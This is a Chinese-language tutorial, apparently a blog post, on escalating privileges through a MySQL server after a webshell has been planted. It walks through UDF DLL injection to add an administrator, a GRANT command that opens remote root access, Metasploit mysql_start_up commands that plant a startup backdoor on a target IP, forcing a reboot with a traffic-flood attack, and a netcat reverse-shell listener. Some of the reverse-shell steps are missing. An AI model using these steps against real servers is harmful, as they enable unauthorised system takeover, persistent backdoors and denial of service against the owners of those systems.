权限提升：Mysql 数据库 .（UDF || 启动项 || 反弹）

权限提升：Mysql 数据库.

权限提升简称提权，由于操作系统都是多用户操作系统，用户之间都有权限控制，比如通过 Web 漏洞拿到的是 Web 进程的权限，往往 Web 服务都是以一个权限很低的账号启动的，因此通过 Webshell 进行一些操作会受到限制，这就需要将其提升为管理甚至是 System 权限。通常通过操作系统漏洞或操作系统的错误配置进行提权，也可以通过第三方软件服务，如数据库或 FTP 等软件的漏洞进行提权。

目录：

提权思想：

Mysql 数据库提权：

UDF 提权：

                第一步：服务探针.（端口）

                第二步：信息收集.

                第三步：提权利用.

启动项提权：

第一步：开启外连.

第二步：使用 msf 对 数据库 进行提权.

第三步：目标主机重启，则就会启用后门.（怎么重启目标主机，可以使用流量攻击.）

反弹提权：

第一步：在攻击机进行监听

第二步：上传 Mysql 提权工具，以后进行访问.

第三步：创建反弹函数.

 第四步：执行监听.

第五步：返回 kali 查看已经返回成功.

免责声明：

严禁利用本文章中所提到的技术进行非法攻击，否则后果自负，上传者不承担任何责任。

提权思想：

在利用系统溢出漏洞无果的情况下，可以采用数据库进行提权，但需要知道数据库提权的前提条件： 服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外，其他数据库基本都存在数 据库提权的可能.

流程：服务探针-信息收集-提权利用-获取权限

Mysql 数据库提权：

提权是我们已经有木马或其他的方法连接到web网站的目录了.

数据库的默认端口信息：
 
1、MySql数据库 ，默认端口是: 3306；
 
2、Oracle数据库 ，默认端口号为：1521；
 
3、Sql Server数据库 ，默认端口号为：1433；
 
4、DB2数据库， 默认端口号为：5000；
 
5、PostgreSQL数据库， 默认端口号为：5432；
 
6、国产的DM达梦数据库， 默认端口号为：5236;
 
7、Redis数据库，默认端口号：6379；
 
8、Memcached数据库，默认端口号：11211；
 
9、MongoDB数据库，默认端口号：27017；

UDF 提权：

第一步：服务探针.（端口）

第二步：信息收集.

（1）读取网站数据库配置文件（了解其命名规则及查找技巧）

查看数据库配置文件的关键字：
 
sql，data，inc，config，conn，database，common，include.....

（2）读取数据库存储或备份文件（了解其数据库存储格式及对应内容）

第三步：提权利用.

提权的第一步要知道数据库的版本号:
 
（1）mysql<5.1    导出目录 c:/windows 或 system32
 
（2）mysql=>5.1   导出安装目录/lib/plugin/

（1）查看数据库的安装目录

select @@basedir;

（2）复制安装目录，进行访问点击 lib 文件.

 （3）点击创建 plugin 目录.（因为 mysql=>5.1 所以要创建这个目录.）

（4）复制 plugin 目录的 URL.

（5）然后点安装DLL，然后再点击自己要执行的命令.

（6）提高权限，添加管理员.（这里因为我添加了二次，所以返回的结果已存在.）

启动项提权：

导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入，配合重启执行！

第一步：开启外连.

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

第二步：使用 msf 对 数据库 进行提权.

msfconsole

use exploit/windows/mysql/mysql_start_up        //使用外连模块.

show options            //查看需要配置的模块

set rhosts 192.168.0.102            //设置目标主机 IP 地址.

set username root                     //设置数据库用户名.

set password root                    //设置数据库的密码.

run            //执行模块上传.

第三步：目标主机重启，则就会启用后门.（怎么重启目标主机，可以使用流量攻击.）

反弹提权：

第一步：在攻击机进行监听

nc -l -p 5577

第五步：返回 kali 查看已经返回成功.

解决安装DLL：https://www.cnblogs.com/awrrays/p/11371522.html